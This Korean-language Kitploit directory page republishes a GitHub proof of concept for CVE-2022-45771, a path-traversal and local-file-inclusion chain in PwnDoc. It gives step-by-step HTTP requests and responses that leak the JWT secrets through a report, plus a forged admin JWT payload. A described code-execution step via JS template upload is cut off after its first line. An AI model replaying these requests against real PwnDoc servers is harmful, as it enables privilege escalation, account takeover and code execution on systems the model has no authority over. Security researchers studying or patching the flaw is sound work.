Skip to content
KitploitKITPLOIT
도구익스플로잇블로그
Log in
제출
도구익스플로잇블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CVE-2022-45771 — [PoC] PwnDoC에서 LFI를 통한 권한 상승 및 코드 실행 | Kitploit
도구/GitHubGitHub/yuriisanin/cve-2022-45771
Privilege EscalationVulnerability AnalysisCode AnalysisExploitationWeb Application ExploitationPenetration TestingPayload Development
GitHubyuriisanin/cve-2022-45771

CVE-2022-45771

[PoC] PwnDoC에서 LFI를 통한 권한 상승 및 코드 실행

저장소 보기
673년 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

CVE-2022-45771

PwnDoc는 경로 순회(path traversal)와 로컬 파일 포함(LFI) 취약점에 모두 노출되어 있으며, 이를 통해 권한이 없는 사용자가 JWT 시크릿을 노출시키고 코드 실행을 달성할 수 있습니다.

요구 사항:

  • 공격자는 user 역할을 가진 유효한 계정을 보유해야 합니다.
  • 애플리케이션에 finding.vulnType 또는 finding.category 태그가 포함된 보고서 템플릿이 있어야 합니다.

video-poc

세부 사항

취약점 체인은 다음 부분들로 구성됩니다:

  1. 모델 및 엔드포인트 수준 모두에서 AuditSchema.language 속성에 대한 검증이 누락되었습니다. (참조: /backend/src/models/audit.js, line: 71, /backend/src/routes/audit.js, line: 57)
  2. 보고서 생성 중 사용자가 제공한 AuditSchema.language 매개변수와 함께 require 함수를 사용합니다. (참조: /backend/src/translate/index.js, line: 10, /backend/src/lib/report-generator.js, lines: 24-25, 477, 487)
  3. auth.js 파일의 모듈 내보내기를 통해 jwtSecret 및 jwtRefreshSecret 매개변수가 노출됩니다. (참조: /backend/src/lib/auth.js, lines: 17-21)
  4. 안전하지 않은 템플릿 파일 업로드 기능은 js 파일 업로드를 허용합니다 (template:create 권한 필요).

[PoC] JWT 시크릿 노출로 인한 권한 상승

  1. language를 ../lib/auth.js로 설정하여 감사(audit)를 생성합니다. 이후 해당 파일은 require 함수를 통해 로드되고 실행되며, 그 결과 jwtSecret과 jwtRefreshSecret이 모두 내보내집니다.

요청:

POST /api/audits HTTP/1.1
Accept: application/json, text/plain, */*
Content-Type: application/json;charset=utf-8
Origin: https://127.0.0.1:8443
Content-Length: 73
Accept-Language: en-GB,en;q=0.9
Host: 127.0.0.1:8443
User-Agent: {user-agent}
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
Cookie: token=JWT%20{token}


{"name":"privesc-poc","language":"../lib/auth.js","auditType":"tested"}

응답:

HTTP/1.1 201 Created
Server: nginx/1.22.1
Date: Sun, 20 Nov 2022 15:34:32 GMT
Content-Type: application/json; charset=utf-8
Content-Length: 598
Connection: keep-alive
X-Powered-By: Express
Access-Control-Allow-Methods: GET,POST,DELETE,PUT,OPTIONS
Access-Control-Allow-Headers: Origin, X-Requested-With, Content-Type, Accept
Access-Control-Expose-Headers: Content-Disposition

{"status":"success","datas":{"message":"Audit created successfully","audit":{"collaborators":[],"reviewers":[],"state":"EDIT","approvals":[],"_id":"637a49086f5a2e0012dd58c5","name":"privsec-poc","language":"../lib/auth.js","auditType":"tested","creator":"637a2065ab932e0012015580","sections":[],"customFields":[],"sortFindings":[{"category":"jjj","sortValue":"cvssScore","sortOrder":"desc","sortAuto":true},{"category":"dd","sortValue":"cvssScore","sortOrder":"desc","sortAuto":true}],"scope":[],"findings":[],"createdAt":"2022-11-20T15:34:32.246Z","updatedAt":"2022-11-20T15:34:32.246Z","__v":0}}}
  1. 감사(audit)에 보고서 템플릿을 설정합니다. 템플릿에는 finding.vulnType - {vulnType} 또는 finding.category - {category} 태그가 포함되어 있어야 합니다. 템플릿 문서**

요청:

PUT /api/audits/637a49086f5a2e0012dd58c5/general HTTP/1.1
Accept: application/json, text/plain, */*
Content-Type: application/json;charset=utf-8
Origin: https://127.0.0.1:8443
Content-Length: 207
Accept-Language: en-GB,en;q=0.9
Host: 127.0.0.1:8443
User-Agent: {user-agent}
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
Cookie: token=JWT%20{token}


{"collaborators":[],"reviewers":[],"_id":"637a49086f5a2e0012dd58c5","name":"privesc-poc","language":"../lib/auth.js","auditType":"tested","customFields":[],"template":"6377d57e5cccb10012049dbb","scope":[]}

응답:

HTTP/1.1 200 OK
Server: nginx/1.22.1
Date: Sun, 20 Nov 2022 15:34:43 GMT
Content-Type: application/json; charset=utf-8
Content-Length: 65
Connection: keep-alive
X-Powered-By: Express
Access-Control-Allow-Methods: GET,POST,DELETE,PUT,OPTIONS
Access-Control-Allow-Headers: Origin, X-Requested-With, Content-Type, Accept
Access-Control-Expose-Headers: Content-Disposition

{"status":"success","datas":"Audit General updated successfully"}
  1. 감사(audit)에 finding을 추가합니다. category 또는 vulnType 속성 중 하나에 jwtSecret이 포함되어 있어야 합니다.**

요청:

POST /api/audits/637a49086f5a2e0012dd58c5/findings HTTP/1.1
Accept: application/json, text/plain, */*
Content-Type: application/json;charset=utf-8
Origin: https://127.0.0.1:8443
Content-Length: 368
Accept-Language: en-GB,en;q=0.9
Host: 127.0.0.1:8443
User-Agent: {user-agent}
Referer: https://127.0.0.1:8443/audits/637a2106ab932e0012015583/findings/add
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
Cookie: token=JWT%20{token}

{"title":"dsdsd","vulnType":"prod","description":"{description}","observation":"{observation}","references":[],"cvssv3":"CVSS:3.1/AV:A/AC:H/PR:L/UI:R/S:U/C:L/I:L/A:L","category":null,"customFields":[], "category":"jwtSecret", "vulnType":"jwtRefreshSecret"}

응답:

HTTP/1.1 200 OK
Server: nginx/1.22.1
Date: Sun, 20 Nov 2022 15:34:54 GMT
Content-Type: application/json; charset=utf-8
Content-Length: 65
Connection: keep-alive
X-Powered-By: Express
Access-Control-Allow-Methods: GET,POST,DELETE,PUT,OPTIONS
Access-Control-Allow-Headers: Origin, X-Requested-With, Content-Type, Accept
Access-Control-Expose-Headers: Content-Disposition

{"status":"success","datas":"Audit Finding created successfully"}
  1. 이전에 생성한 감사(audit)에 대한 보고서를 생성하고, 생성된 docx 문서에서 jwtSecret 값을 얻습니다.

요청:

GET /api/audits/637a49086f5a2e0012dd58c5/generate HTTP/1.1
Accept: application/json, text/plain, */*
Accept-Encoding: gzip, deflate, br
Host: 127.0.0.1:8443
User-Agent: {user-agent}
Accept-Language: en-GB,en;q=0.9
Referer: https://127.0.0.1:8443/audits/637a2106ab932e0012015583/findings/add
Connection: keep-alive
Cookie: token=JWT%20{token}


응답:

HTTP/1.1 200 OK
Server: nginx/1.22.1
Date: Sun, 20 Nov 2022 15:37:34 GMT
Content-Type: application/octet-stream
Content-Length: 98134
Connection: keep-alive
X-Powered-By: Express
Access-Control-Allow-Methods: GET,POST,DELETE,PUT,OPTIONS
Access-Control-Allow-Headers: Origin, X-Requested-With, Content-Type, Accept
Access-Control-Expose-Headers: Content-Disposition
Content-Disposition: attachment; filename="rce-poc.docx"

{doc-content}
  1. JWT 토큰 내부의 role 필드를 admin으로 변경하고, 획득한 jwtSecret을 사용하여 서명합니다.

JWT 페이로드:

{
  "id": "637a2065ab932e0012015580",
  "username": "justuser",
  "role": "admin",
  "firstname": "justuser",
  "lastname": "justuser",
  "email": "[email protected]",
  "phone": "12345",
  "roles": [
    "audits:create",
    "audits:read",
    "audits:update",
    "audits:delete",
    "images:create",
    "images:read",
    "clients:create",
    "clients:read",
    "clients:update",
    "clients:delete",
    "companies:create",
    "companies:read",
    "companies:update",
    "companies:delete",
    "languages:read",
    "audit-types:read",
    "vulnerability-types:read",
    "vulnerability-categories:read",
    "sections:read",
    "templates:read",
    "users:read",
    "roles:read",
    "vulnerabilities:read",
    "vulnerability-updates:create",
    "custom-fields:read",
    "settings:read-public"
  ],
  "iat": 1668958053,
  "exp": 1668958953
}

[PoC] 코드 실행 달성

JWT 시크릿을 알아낸 후 admin 역할 또는 template:create 권한을 추가하면, 공격자는 템플릿 업로드 기능을 사용하여 업로드된 JS 코드를 실행하기 위해 경로 순회 공격을 사용할 수 있습니다.

  1. 보고서 업로드 기능을 사용하여 js 파일을 업로드합니다.
도구 다운로드